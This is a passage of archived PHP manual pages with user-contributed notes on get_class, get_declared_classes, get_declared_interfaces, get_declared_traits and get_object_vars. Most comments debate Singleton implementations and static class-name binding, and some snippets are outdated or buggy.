    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>

Full write-up in Oct 2008: http://danbettles.blogspot.com
Maik 04-Oct-2008 05:36
The code just worked fine with PHP 5.3.
Thanks to you it could be rebuild to work with earlier versions of PHP 5.

I just changed the 'static' to 'self' and die() to an Exception.

<?php
// This one extends Singleton with proper class name
class someSingleton extends Singleton {
    public static function getInstance() {
        parent::$__CLASS__ = __CLASS__;
        parent::getInstance();
    }
}
// This one does the logic
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance = null;

    protected function __construct() {}
    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        $class = self::getClass();

        if (self::$instance === null) {
            self::$instance = new $class();
            self::$instance->init();
        }

        return self::$instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = self::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class)
            throw new Exception("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");

        return $implementing_class;
    }
}
?>
Edward 21-Aug-2008 12:26
The code in my previous comment was not completely correct. I think this one is.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;

    protected function __construct() {
    }

    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        static $instance;

        $class = self::getClass();

        if ($instance === null) {
            $instance = new $class();
            $instance->init();
        }

        return $instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = static::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return $implementing_class;
    }
}
?>
Edward 20-Aug-2008 02:42
With Late Static Bindings, available as of PHP 5.3.0, it is now possible to implement an abstract Singleton class with minimal overhead in the child classes. Late static bindings are explained here: http://nl2.php.net/manual/en/language.oop5.late-static-bindings.php

In short, it introduces a new 'static::' keyword, that is evaluated at runtime. In the following code I use it to determine the classname of the child Singleton class.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance;

    protected function __construct() {
        static::$instance = $this;
        $this->init();
    }

    abstract protected function init();

    protected function getInstance() {
        $class = static::getClass();

        if (static::$instance===null) {
            static::$instance = new $class;
        }

        return static::$instance;
    }

    private static function getClass() {
        if (static::$__CLASS__ == __CLASS__) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return static::$__CLASS__;
    }
}
?>

An example Singleton class can then be implemented as follows:

<?
class A extends Singleton {
    protected static $__CLASS__ = __CLASS__; // Provide this in each singleton class.

    protected function someFunction() {
        $instance = static::getInstance();
        // ...
    }
}
?>

Hope this helps you save some time :)
James 22-Jun-2008 11:46
To get round this problem, another option is a factory to create singletons.

<?php
class Factory {
  private static $instances = array();
  public static function getInstance($class_name) {
    if(!array_key_exists($class_name, self::$instances)) {
      self::$instances[$class_name] = new $class_name();
    }
    return self::$instances[$class_name];
  }
}
?>

I guess you could modify this to create singletons from some, and prototypes for the rest.

There's probably some good way to stop people instantiating objects directly. Perhaps by using the backtrace in the constructor of the class to ensure that it was indeed the Factory that created the object.
Anonymous 30-Apr-2008 06:59
I jumped the gun. The following code also working for statics called inside other classes.

<?php
        for( $i=0 ; $i < count($bt) ; $i++)
        {
            if($bt[$i]['function'] == 'getInstance')
            {
                $class = $bt[$i]['class'];

            } else {
                break;
            }
        }
?>
dave dot zap at gmail dot com 30-Apr-2008 06:13
Take care using the backtrace method to find the calling class of a static method, you should step backward through the array and find a match for your getInstance() function. In backtrace the class name you want is not always the last item in the array.

I will not post the whole singleton class here, but have made the following modification to Frederik Krautwald's method (found below)

<?php
$bt = debug_backtrace();
// this method is count($bt)-1) by Frederik will fall over when calling getInstance from within an include file.
//$class = $bt[count($bt) - 1]['class'];

for( $i=count($bt)-1 ; $i > 0 ; $i--)
{
    if($bt[$i]['function'] == 'getInstance')
    {
        $class = $bt[$i]['class'];
        break;
    }
}
?>
Anonymous 12-Apr-2008 11:01
In Perl (and some other languages) you can call some methods in both object and class (aka static) context. I made such a method for one of my classes in PHP5, but found out that static methods in PHP5 do not 'know' the name of the calling subclass', so I use a backtrace to determine it. I don't like hacks like this, but as long as PHP doesn't have an alternative, this is what has to be done:

public function table_name() {
        $result = null;
        if (isset($this)) { // object context
            $result = get_class($this);
        }
        else { // class context
            $result = get_class();
            $trace = debug_backtrace();
            foreach ($trace as &$frame) {
                if (!isset($frame['class'])) {
                    break;
                }
                if ($frame['class'] != $result) {
                    if (!is_subclass_of($frame['class'], $result)) {
                        break;
                    }
                    $result = $frame['class'];
                }
            }
        }
        return $result;
    }
frederic dot sureau at gmail dot com 29-Feb-2008 08:01
@ hek :

The problem is that the method getInstance() in a Singleton must be static, so we cannot use $this because it doesn't exists :(
andregs at NOSPAM dot gmail dot NOSPAM dot com 21-Feb-2008 10:17
After reading the previous comments, this is the best I've done to get the final class name of a subclass:

<?php

class Singleton
{
   private static $_instances = array();
   protected final function __construct(){}

   /**
    * @param string $classname
    * @return Singleton
    */
   protected static function getInstance()
   {
      $classname = func_get_arg(0);
      if (! isset(self::$_instances[$classname]))
      {
         self::$_instances[$classname] = new $classname();
      }
      return self::$_instances[$classname];
   }

}

class Child extends Singleton
{
   /**
    * @return Child
    */
   public static function getInstance()
   {
      return parent::getInstance(get_class());
   }
}

?>

Subclasses must override "getInstance" and cannot override "__construct".
dodgie74 at NOSPAM dot yahoo dot NOSPAM dot co dot uk 09-Sep-2007 02:40
As noted in bug #30934 (which is not actually a bug but a consequence of a design decision), the "self" keyword is bound at compile time. Amongst other things, this means that in base class methods, any use of the "self" keyword will refer to that base class regardless of the actual (derived) class on which the method was invoked. This becomes problematic when attempting to call an overridden static method from within an inherited method in a derived class. For example:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        //here, we want "self" to refer to the actual class, which might be a derived class that inherits this method, not necessarily this base class
        return $this->m_instanceName . ' - ' . self::classDisplayName();
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

In the above example, assuming runtime binding (where the keyword "self" refers to the actual class on which the method was invoked rather than the class in which the method is defined) would produce the output:

My Instance - Derived Class

However, assuming compile-time binding (where the keyword "self" refers to the class in which the method is defined), which is how php works, the output would be:

My Instance - Base Class

The oddity here is that "$this" is bound at runtime to the actual class of the object (obviously) but "self" is bound at compile-time, which seems counter-intuitive to me. "self" is ALWAYS a synonym for the name of the class in which it is written, which the programmer knows so s/he can just use the class name; what the programmer cannot know is the name of the actual class on which the method was invoked (because the method could be invoked on a derived class), which it seems to me is something for which "self" ought to be useful.

However, questions about design decisions aside, the problem still exists of how to achieve behaviour similar to "self" being bound at runtime, so that both static and non-static methods invoked on or from within a derived class act on that derived class. The get_class() function can be used to emulate the functionality of runtime binding for the "self" keyword for static methods:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        $realClass = get_class($this);
        return $this->m_instanceName . ' - ' . call_user_func(array($realClass, 'classDisplayName'));
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

Output:
My Instance - Derived Class

I realise that some people might respond "why don't use just just the class name with ' Class' appended instead of the classDisplayName() method", which is to miss the point. The point is not the actual strings returned but the concept of wanting to use the real class for an overridden static method from within an inherited non-static method. The above is just a simplified version of a real-world problem that was too complex to use as an example.

Apologies if this has been mentioned before.
bramus at bram dot us 20-Aug-2007 05:40
@ Frederik :

<?
$class = $bt[count($bt) - 1]['class'];
?>

should be

<?
$class = $bt[count($bt) - 2]['class'];
?>

;-)
Frederik Krautwald 25-Jun-2007 05:13
Due to PHP 5 engine that permits to get final class in a static called function, and this is a modified version of examples published below.

<?php
abstract class Singleton {
    protected static $_instances = array();

    protected function __construct() {}

    protected static function getInstance() {
        $bt = debug_backtrace();
        $class = $bt[count($bt) - 1]['class'];
        if (!isset(self::$_instances[$class])) {
            self::$_instances[$class] = new $class();
        }
        return self::$_instances[$class];
    }
}
class A extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class B extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class C extends A {
    public static function getInstance() {
        return parent::getInstance();
    }
}

$a = A::getInstance();
$b = B::getInstance();
$c = C::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
echo "\$c is a " . get_class($c) . "<br />";
?>

I don't know about if performance would increase if debug_backtrace() is skipped and instead have getInstance() to accept a passed class retrieved by get_class() method as parameter as described in a post below.

By having set getInstance() to protected in the Singleton class, the function is required to be overridden (good OOP practice).

One thing to mention is, that there is no error checking in case $class is null or undefined, which would result in a fatal error. At the moment, though, I can't see how it could happen when the getInstance() is protected, i.e. has to be overridden in a subclass -- but with good coding practice you should always error check.
mightye at gmail dot com 23-Jun-2007 03:20
To: Bryan

In this model it is still workable if your singleton variable is actually an array.  Consider:
<?php
abstract class Singleton {
    protected final static $instances = array();

    protected __construct(){}

    protected function getInstance() {
        $class = get_real_class(); // imaginary function returning the final class name, not the class the code executes from
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
class A extends Singleton {
}
class B extends Singleton {
}

$a = A::getInstance();
$b = B::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
?>
This would output:
$a is a A
$b is a B

The only alternative as described elsewhere is to make getInstance() protected abstract, accept the class name as an argument, and extend this call with a public final method for every sub-class which uses get_class() in its local object scope and passes it to the superclass.

Or else create a singleton factory like this:
<?php
final class SingletonFactory {
    protected static $instances = array();

    protected getInstance($class) {
        if (!isset(self::$instances[$class])) {
            self::$instances[$class] = new $class();
        }
        return self::$instances[$class];
    }
}
?>
The downside to this of course to this latter model is that the class itself doesn't get to decide if it is a singleton, the calling code gets to decide this instead, and a class that really wants or *needs* to be a singleton has no way to enforce this, not even by making its constructor protected.

Basically these design patterns, and various other meta manipulations (things which operate on the nature of the object, not on the data the object holds) could benefit greatly from knowing exactly what the final type of this object is, and not having native access to this information obligates work-arounds.
Bryan 19-Jun-2007 05:07
janci's Singleton example is all well and good, until you create another class "Bar" which also extends Singleton.

<?php
$single_foo = Foo::getInstance();
$single_bar = Bar::getInstance();
?>

$single_bar will now be an instance of Foo! This is because there is only one copy of the static variable $__instance in the Singleton class. Here is a better Singleton class:

<?php
abstract class Singleton {
    static $_instances = array();

    //Prevent singletons from being instantiated other than via getInstance();
    protected function __construct() {}
    protected function __clone() {}

    static function getInstance($class_name) {
        if(!isset(self::$_instances[$class_name])) {
            self::$_instances[$class_name] = new $class_name();
        }
        return self::$_instances[$class_name];
    }
}?>

Unfortunately, you are still required to define Foo as janci does. I would love to see an example where the only thing you add to the class is "extends Singleton" and you're done, but that seems to be impossible.
janci 30-Apr-2007 09:00
To yicheng zero-four at gmail dot com: Another, maybe better example where finding out the real class (not the class we are in) in static method should be quite usefull is the Singleton pattern.

There is currently no way how to create an abstract Singleton class that could be used just by extending it without the need to change the extended class. Consider this example:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    public static function getInstance()
    {
        if (self::$__instance == false)
        {
            // This acctually is not what we want, $class will always be 'Singleton' :(
            $class = get_class();
            self::$__instance = new $class();
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // ...
}

$single_foo = Foo::getInstance();
?>
This piece of code will result in a fatal error saying: Cannot instantiate abstract class Singleton in ... on line 11

The best way I figured out how to avoid this requires simple but still a change of the extended (Foo) class:
<?php
abstract class Singleton
{
    protected static $__instance = false;

    protected static function getInstance($class)
    {
        if (self::$__instance == false)
        {
            if (class_exists($class))
            {
                self::$__instance = new $class();
            }
            else
            {
                throw new Exception('Cannot instantiate undefined class [' . $class . ']', 1);
            }
        }
        return self::$__instance;
    }
}

class Foo extends Singleton
{
    // You have to overload the getInstance method in each extended class:
    public static function getInstance()
    {
        return parent::getInstance(get_class());
    }
}

$single_foo = Foo::getInstance();
?>

This is of course nothing horrible, you will propably need to change something in the extended class anyway (at least the constructor access), but still... it is just not as nice as it possibly could be ;)
yicheng zero-four at gmail dot com 27-Apr-2007 09:29
To matsgefvert dot se and Marc,

I'm sorry but I'm still having a very difficult time understanding why you would want this behavior.  I understand that you are generating some code for some persistent layer for database access.

In your code example, Marc, you say that you would like the SomeTable::read() to return "SomeTable" when called from your client.  Yet, at this point you *know* what the class name is.  Even assuming you are generating this code automatically, you can simply generate your SomeTable class as such.

<?php

class PersistedObject {
  //...
  public static function read($table, $key){
    // do some databasey stuff
    // with $table which is the table name
    return $table;
  }
}

class SomeTable extends PersistedObject {
  //...
  // make a copy in the child class
  public static function read($key){
    $table = get_class();
    return parent::read($table, $key);
  }
}

// this will now return "SomeTable"
$someTableObject = SomeTable::read(1234);

?>

I'm still failing to see how this would provide but a convenience for very rare & specific issues, at the cost of non-OOP behavior by allowing static methods to bind to objects instead of classes.

One of the most common uses for get_class() is for debugging lines, for example:

<?php

class PersistedObject {
  //...
  public static function transaction($params){
    // do some stuff
    if ($error_occurred){
      echo "Error : WTFBBQ happened in " . get_class() . "::" . __FUNCTION__ . ".  Time to get some coffee!";
  }
}

class SomeTable extends PersistedObject {
  //...
}

SomeTable::transaction( $someParams );
?>

Now, when an error occurs inside the call to SomeTable::transaction(), we get incorrect error output.
Kerry Kobashi 15-Apr-2007 08:58
It should be noted that class names are represented in lowercase under PHP 4.x.

class MyClass {
   function MyClass() {
   }
   function ShowClass() {
      echo get_class($this);
   }
}

$p = new MyClass();
$p->ShowClass();

Displays:

myclass

If you serialize $p, you will also see that the class name is lower case as well:

$p = new MyClass();
echo serialize($p);

Displays:

O:7:"myclass":1:{s:3:"val";i:100;}

In my case, this is an important point for mapping class names to database table names (and vice versa).
Marc W. 13-Apr-2007 06:40
The previous comment (from matsgefvert dot se) is 100% correct. To further elaborate on the persistence layers example suggested, consider the case where you are dynamically creating inherited objects. For example:
<?php

class PersistedObject {
//...
public static function read($key){
//You will need the table name here to actually read
// from the persistence medium
echo get_class();
}

class SomeTable extends PersistedObject {
//...
}

/*
Somewhere else in our code we would like to call the read method
*/

$someTableObject = SomeTable::read(1234);

?>
Remember that the SomeTable class would be generated on the fly, probably by some DB schema. The problem is that you would actually like the above example to output "SomeTable", but unfortunately, it will output "PersistedObject".
spam at matsgefvert dot se 24-Feb-2007 10:37
I disagree with the notion that the authors of the previous posts are unfamiliar with OOP. Without the ability to know from general (parent) objects what kind of classes we're operating on, it makes things rather difficult, especially in building frameworks that rely heavily on class types (e.g. persistence layers).

The proposed BooBoof::getclass() and CooCoof::getclass() scheme will not work in some particular scenarios since static calls aren't virtual, which means a parent class will always call its own getclass() function instead of the one needed to find out the class name.

The only solution I've found is to pass along a string containing the class name we're working on to the generalized functions. It is however an ugly solution, certainly less than ideal and goes against what OOP and reflection is all about, IMHO.
yicheng zero-four at gmail dot com 18-Jan-2007 09:22
This a response to luke at liveoakinteractive dot com and davidc at php dot net.  Static methods and variables, by definition, are bound to class types not object instances.  You should not need to dynamically find out what class a static method belongs to, since the context of your code should make it quite obvious.  Your questions reveals that you probably don't quite understand OOP quite yet (it took me a while as well).

Luke, the observed behavior from your particular code snippet makes perfect sense when you think about it.  The method getclass() is defined in BooBoof, so the __CLASS__ macro would be bound to BooBoof and defined in relation to the BooBoof class.  The fact that CooCoof is a subclass of BooBoof just means that it gains a shortcut to BooBoof::getclass().  So, in effect, you are really asking (in a convoluted way): "What is the class to which belongs the method call BooBoof::getclass()?"  The correct solution (if you actually want/need to do this) is to simply implement CooCoof::getclass() { return __CLASS__; } inside of the CooCoof definition, and any childclasses that you want to mimic this behavior.  CooCoof::getclass() will have the expected behavior.
makc dot the dot great at gmail dot com 17-Dec-2006 06:29
Check it out:

<?php

class A {
 function s () { return "A::s"; }
 function s1 () { return $this->s(); }
}

class B extends A {
 function s () { return "B::s"; }
}

$a = new A(); echo $a->s1();
echo "<br>";
$b = new B(); echo $b->s1();
echo "<br>";

class C {
 static function s () { return "C::s"; }
 static function s1 () { return self::s(); }
}

class D extends C {
 static function s () { return "D::s"; }
}

echo C::s1();
echo "<br>";
echo D::s1();
echo "<br>";

?>

Output:
A::s
B::s
C::s
C::s

Seems like static function always belong to its class.
luke at liveoakinteractive dot com 06-Dec-2006 04:03
This note is a response to the earlier post by davidc at php dot net. Unfortunately, the solution posted for getting the class name from a static method does not work with inherited classes.

Observe the following:
<?php
class BooBoof {
  public static function getclass() {
    return __CLASS__;
  }

  public function retrieve_class() {
    return get_class($this);
  }
}

class CooCoof extends BooBoof {
}

echo CooCoof::getclass();
// outputs BooBoof

$coocoof = new CooCoof;
echo $coocoof->retrieve_class();
// outputs CooCoof
?>

__CLASS__ and get_class($this) do not work the same way with inherited classes. I have been thus far unable to determine a reliable way to get the actual class from a static method.
benjaminhill at gmail dot com 27-Apr-2006 07:47
More funkyness:

class Parent {
   function displayTableName() {
      echo get_class($this);
      echo get_class();
   }
}

class Child {
   function __construct() {
      $this->displayTableName();
   }
}

Will return
- Child
- Parent

So when they say "the object isn't required in PHP5" - they don't really mean it.
brjann at NOSPAMATALLgmail dot com 16-Nov-2005 09:39
This behavior is unexpected, but good to be aware of

class parentclass {
    public function getClass(){
        echo get_class($this); //using "$this"
    }
}
class child extends parentclass {
}

$obj = new child();
$obj->getClass(); //outputs "child"

class parentclass {
    public function getClass(){
        echo get_class(); //note, no "$this"
    }
}
class child extends parentclass {
}

$obj = new child();
$obj->getClass(); //outputs "parentclass"
wired at evd dot ru 25-Sep-2005 11:25
There is one unexpected bahaviour (for me as least):

<?php

  class parent
  {
    ...

    public function getInstance ($id)
    {
      ...

      print get_class() . "\n" . __CLASS__;

      ...
    }
  }

  class child extends parent
  {
    ...
  }

  child::getInstance(...);
?>

This code will produce:

  parent
  parent

So I can't make "new $className(...)" in getInstance(). The only option is to do a fabric.
kunxin at creaion dot com 25-Jul-2005 02:30
I just migrated from PHP 4 to PHP 5 and noticed that in PHP 5.03 that a lot of code dependent on get_class() and its variants stop working.

It turns out that get_class() and its variants are now case-sensitive.
refrozen dot com 06-Jul-2005 12:01
philip at cornado dot com, it returns the value of the class from which it was called, rather than the instance's name... causing inheritance to result in unexpected returns
MagicalTux at FF.ST 02-Feb-2004 01:11
Note that the constant __CLASS__ is different from get_class($this) :
<?
  class test {
    function whoami() {
      echo "Hello, I'm whoami 1 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
    }
  }
  class test2 extends test {
    function whoami2() {
      echo "Hello, I'm whoami 2 !\r\n";
      echo "Value of __CLASS__ : ".__CLASS__."\r\n";
      echo "Value of get_class() : ".get_class($this)."\r\n\r\n";
      parent::whoami(); // call parent whoami() function
    }
  }
  $test=new test;
  $test->whoami();
  $test2=new test2;
  $test2->whoami();
  $test2->whoami2();
?>

The output is :
Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

Hello, I'm whoami 2 !
Value of __CLASS__ : test2
Value of get_class() : test2

Hello, I'm whoami 1 !
Value of __CLASS__ : test
Value of get_class() : test2

In fact, __CLASS__ returns the name of the class the function is in and get_class($this) returns the name of the class which was created.
Dan 30-Jan-2003 07:00
This function does return the class name in lowercase, but that does not seem to make any difference. The code below, although very sloppy, works fine in all of the following configurations.

PHP 4.2.2 on Windows NT5 with Apache 1.3.24
PHP 4.2.1 in Zend Development Environment on box above
PHP 4.2.3 on Linux RedHat 7.3 with Apache 1.3.27

class TeSt {
   var $a;
   var $b = "Fred";

   // Notice the case difference in the constructor name

   function Test() {
      $classname = get_class($this); // $classname = "test"
      $this->ra = get_class_vars($classname);
   }
}
// Next line also works with Test(), TEST(), or test()
$obj = new TeSt();
print_r($obj->ra);

Result :
   Array
   (
       [a] =>
       [b] => Fred
   )
oliver DOT pliquett @mediagear DOT de 13-Aug-2002 05:07
This function can become _VERY_ helpful if you want to return a new object of the same type. See this example:

<?php
class Foo{
    var $name;

    function Foo( $parameter ){
        $this->name = $parameter;
    }

    function whoami() {
        echo "I'm a " . get_class( $this ) ."\n";
    }

    function getNew() {
        $className = get_class( $this );

        // here it happens:
        return new $className ( "world" ) ;
    }
}
class Bar extends Foo {

    function Bar( $name ){
        $this->Foo( $name );
    }

    function welcome() {
        echo "Hello, " . $this->name .  "! \n";
    }
}

// We generate a Bar object:
$myBar = new Bar( "Oliver" );
$myBar->welcome();

//now let's instanciate a new Bar object.
//note: this method is inherited from Foo by Bar!

$baba = $myBar->getNew();

$baba->welcome();
$baba->whoami();

/* Output:
Hello, Oliver!
Hello, world!
I'm a bar
*/
?>
philip at cornado dot com 20-Jun-2002 09:15
As of PHP 4.3.0 the constant __CLASS__ exists and contains the class name.


Returns an array with the name of the defined classes

  • « get_class
  • get_declared_interfaces »
  • PHP Manual
  • Classes/Object Functions
  • Returns an array with the name of the defined classes

get_declared_classes

(PHP 4, PHP 5)

get_declared_classes — Returns an array with the name of the defined classes

Description

array get_declared_classes ( void )

Gets the declared classes.

Return Values

Returns an array of the names of the declared classes in the current script.

Note:

Note that depending on what extensions you have compiled or loaded into PHP, additional classes could be present. This means that you will not be able to define your own classes using these names. There is a list of predefined classes in the Predefined Classes section of the appendices.

Examples

Example #1 get_declared_classes() example

<?php
print_r(get_declared_classes());
?>

The above example will output something similar to:

Array
(
    [0] => stdClass
    [1] => __PHP_Incomplete_Class
    [2] => Directory
)

See Also

  • class_exists() - Checks if the class has been defined
  • get_declared_interfaces() - Returns an array of all declared interfaces
  • get_defined_functions() - Returns an array of all defined functions

User Contributed Notes

brain at code dot com 14-Feb-2014 05:53
get-declared-classes makes no sense at all, if u maybe, later for production, merge class files in one package file.

lets say: package.php
print_r(get_declared_classes());
class declaredHere { }
print_r(get_declared_classes());

so in this case, the declaredHerr class is defined at the first call of print_r();
because PHP-complier runs a hole file and declare Stuff before running the code.

But (Lovely PHP):
print_r(get_declared_classes());
if(true){
class declaredHere { }
}
print_r(get_declared_classes());
Will print the declaredHere class only in the second print_r.

Its not a Bug it a...
yarco dot wang at gmail dot com 25-Nov-2013 04:32
those above comments are too old.
now, whatever the order is, the output will be the same:

<?php
class Test1
{}

print_r(get_declared_classes());

class Test2
{}

print_r(get_declared_classes());

?>

will output the same result.
dcahh at gmx de 29-Feb-2008 06:23
This function considers only classes and subclasses. Not subsubclasses.

In fact I have code that provides an abstract class and then classes using this abstract class. Further I have subclasses to my concrete classes - which is why my subclasses are not listed within the returned array.
dexen + goofy _ pl 25-Sep-2007 08:32
Summary:
 * in PHP 5.1 class names have case preserved
 * contrary, in PHP 4.4 class names are downcased, withe exception of a few build-in ones

The get_declared_classes() funcition returns the list of names with case preserved, as of PHP 5.1 series (prolly 5.0 too, but i have no way to test it right now). Since PHP generally is caseless in regard to names of classes, this may come at a surprise. Also, this could potentially break older code asssuming downcased list.

Take extra care when  checking for existence of a class. Following example is, potentially, error prone: <?php in_array( $className, $classget_declared_classes() ) ?>

A sure-fire (while slower) way would be to iterate over the array and normalize case to, say, lower:

<?php
$exists = FALSE;
$className = strtolower( $className );
foreach ( get_declared_classes() as $c ) {
    if ( $className === strtolower( $c ) ) {
        $exists = TRUE;
        break;
    }
}?>

Optimization of the above snippet is left as a simple excercise to the reader ;)
-- dexen deVries
matt at mattsoft dot net 21-Dec-2005 11:58
classes can't be unloaded. probably not very practical to implement that in a future version. I wouldn't go out of my way to do it if I were zend. you're better off finding a workaround. it's better programming technique to find a way around having to do that anyway.

http://www.zend.com/zend/week/week223.php#Heading10
22-Mar-2005 06:16
Regarding note of 3-21:

<?php

class myclass {}

$class = 'myclass';
$instance = new $class();

?>

This function could also be used to determine the names of classes defined in a particular file by calling it before and after include. It's hardly a pointless function.
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 04:41
The array returned by this function will be in the order the classes were defined / included / required and this order does not appear to change.

For example:

<?PHP

//define classone
class classone { }

//define classtwo
class classtwo { }

//This will show X classes (built-ins, extensions etc) with
//classone and classtwo as the last two elements

print_r(get_declared_classes());

//define classthree
class classthree { }

//...and four
class classfour { }

//Shows the same result as before with class three and four appended
print_r(get_declared_classes());

?>

Output:

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
 )

and...

Array
(
   [0] => stdClass
   [1] .... other defined classes....
   [10] => classone
   [11] => classtwo
   [12] => classthree
   [13] => classfour
)
Jazeps Basko 07-Feb-2004 08:52
In PHP5, you don't get declared interfaces by calling this function!!!
To get interfaces you should use get_declared_interfaces(). However, to check if an interface is already defined, you should use class_exists()! This is strange, but PHP team does not think so.
smokey 21-Mar-2003 12:06
you cannot remove them. they are "defined", which happens when the class is being loaded from the parser. you just deleted an instance of a class.


Returns an array of all declared interfaces

  • « get_declared_classes
  • get_declared_traits »
  • PHP Manual
  • Classes/Object Functions
  • Returns an array of all declared interfaces

get_declared_interfaces

(PHP 5)

get_declared_interfaces — Returns an array of all declared interfaces

Description

array get_declared_interfaces ( void )

Gets the declared interfaces.

Return Values

Returns an array of the names of the declared interfaces in the current script.

Examples

Example #1 get_declared_interfaces() example

<?php
print_r(get_declared_interfaces());
?>

The above example will output something similar to:

Array
(
    [0] => Traversable
    [1] => IteratorAggregate
    [2] => Iterator
    [3] => ArrayAccess
    [4] => reflector
    [5] => RecursiveIterator
    [6] => SeekableIterator
)

See Also

  • interface_exists() - Checks if the interface has been defined
  • get_declared_classes() - Returns an array with the name of the defined classes
  • class_implements() - Return the interfaces which are implemented by the given class

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of all declared traits

  • « get_declared_interfaces
  • get_object_vars »
  • PHP Manual
  • Classes/Object Functions
  • Returns an array of all declared traits

get_declared_traits

(PHP 5 >= 5.4.0)

get_declared_traits — Returns an array of all declared traits

Description

array get_declared_traits ( void )

Parameters

This function has no parameters.

Return Values

Returns an array with names of all declared traits in values. Returns NULL in case of a failure.

See Also

  • class_uses() - Return the traits used by the given class

User Contributed Notes

There are no user contributed notes for this page.


Gets the properties of the given object

  • « get_declared_traits
  • get_parent_class »
  • PHP Manual
  • Classes/Object Functions
  • Gets the properties of the given object

get_object_vars

(PHP 4, PHP 5)

get_object_vars — Gets the properties of the given object

Description

array get_object_vars ( object $object )

Gets the accessible non-static properties of the given object according to scope.

Parameters

object

An object instance.

Return Values

Returns an associative array of defined object accessible non-static properties for the specified object in scope. If a property has not been assigned a value, it will be returned with a NULL value.

Changelog

Version | Description
5.3.0 | This function now returns NULL if the object isn't an object. Previously FALSE was returned.

Examples

Example #1 Use of get_object_vars()

<?php

class foo {
    private $a;
    public $b = 1;
    public $c;
    private $d;
    static $e;

    public function test() {
        var_dump(get_object_vars($this));
    }
}

$test = new foo;
var_dump(get_object_vars($test));

$test->test();

?>

The above example will output:

array(2) {
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
}
array(4) {
  ["a"]=>
  NULL
  ["b"]=>
  int(1)
  ["c"]=>
  NULL
  ["d"]=>
  NULL
}

See Also

  • get_class_methods() - Gets the class methods' names
  • get_class_vars() - Get the default properties of the class

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 13-Apr-2014 07:48
I find this function very helpful, What i wanted to do was to get the object properties of an exception so i could sanitize them for output.

   try
   {
       throw new Exception( 'Test Exception.', 100 );
   }
   catch( Exception $e )
   {
       var_dump( ( object ) get_object_vars( ( object ) ( new ArrayObject( $e ) ) -> getarrayCopy() ) );
   }

Example return:

object(stdClass)#10 (4) { ["message"]=> string(15) "Test Exception." ["code"]=> int(100) ["file"]=> string(29) "C:\xampp\htdocs\dev\index.php" ["line"]=> int(19) }
rabatto1 at web dot de 04-Feb-2014 01:21
function to convert object (with children) to an (associative) array ... recusive

<?php

// ---------------------------------------------------------
// ----- object_to_array_recusive --- function (PHP) ------
// --------------------------------------------------------
// -- arg1:  $object  =  (PHP Object with Children)
// -- arg2:  $assoc   =  (TRUE / FALSE) - optional
// -- arg3:  $empty   =  ('' or NULL) - optional
// --------------------------------------------------------
// ----- return: Array from Object --- (associative) ------
// --------------------------------------------------------

function object_to_array_recusive ( $object, $assoc=1, $empty='' )
{
    $out_arr = array();
    $assoc = (!empty($assoc)) ? TRUE : FALSE;

    if (!empty($object)) {

        $arrObj = is_object($object) ? get_object_vars($object) : $object;

        $i=0;
        foreach ($arrObj as $key => $val) {
            $akey = ($assoc !== FALSE) ? $key : $i;
              if (is_array($val) || is_object($val)) {
                $out_arr[$key] = (empty($val)) ? $empty : object_to_array_recusive($val);
              }
              else {
                $out_arr[$key] = (empty($val)) ? $empty : (string)$val;
              }
        $i++;
        }

    }

    return $out_arr;
}

// --------------------------------------------------------
// --------------------------------------------------------

?>

Example / Usage:

a) return an associative (recusive) array from object

$new_arr1 = object_to_array_recusive($my_object);
// --- or --- object_to_array_recusive($my_object,TRUE);
// --- or --- object_to_array_recusive($my_object,1);

b) return a numeric  (recusive) array from object (set 2nd argument = FALSE)

